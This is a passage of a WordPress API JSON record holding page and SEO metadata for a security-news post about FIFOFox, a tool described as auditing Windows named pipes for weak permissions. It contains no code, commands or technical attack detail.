vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-11T15:59:56&#8243;,&#8221;description&#8221;:&#8221;This C-based framework analyzes Windows named pipes for insecure permission configurations and weak access controls that could introduce privilege boundary issues. The code collects metadata&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-61979","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=61979\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-11T15:59:56&#8243;,&#8221;description&#8221;:&#8221;This C-based framework analyzes Windows named pipes for insecure permission configurations and weak access controls that could introduce privilege boundary issues. The code collects metadata...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=61979\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-11T11:48:05+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240\",\"datePublished\":\"2026-06-11T11:48:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979\"},\"wordCount\":2878,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61979#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979\",\"name\":\"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-11T11:48:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61979\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61979#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=61979","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-11T15:59:56&#8243;,&#8221;description&#8221;:&#8221;This C-based framework analyzes Windows named pipes for insecure permission configurations and weak access controls that could introduce privilege boundary issues. The code collects metadata...","og_url":"https:\/\/zero.redgem.net\/?p=61979","og_site_name":"zero redgem","article_published_time":"2026-06-11T11:48:05+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=61979#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=61979"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240","datePublished":"2026-06-11T11:48:05+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=61979"},"wordCount":2878,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=61979#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=61979","url":"https:\/\/zero.redgem.net\/?p=61979","name":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-11T11:48:05+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=61979#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=61979"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=61979#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FIFOFox: Windows Named-Pipe Weak Permission and Access Control Validation_PACKETSTORM:223240"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=61979"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/61979\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=61979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=61979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=61979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}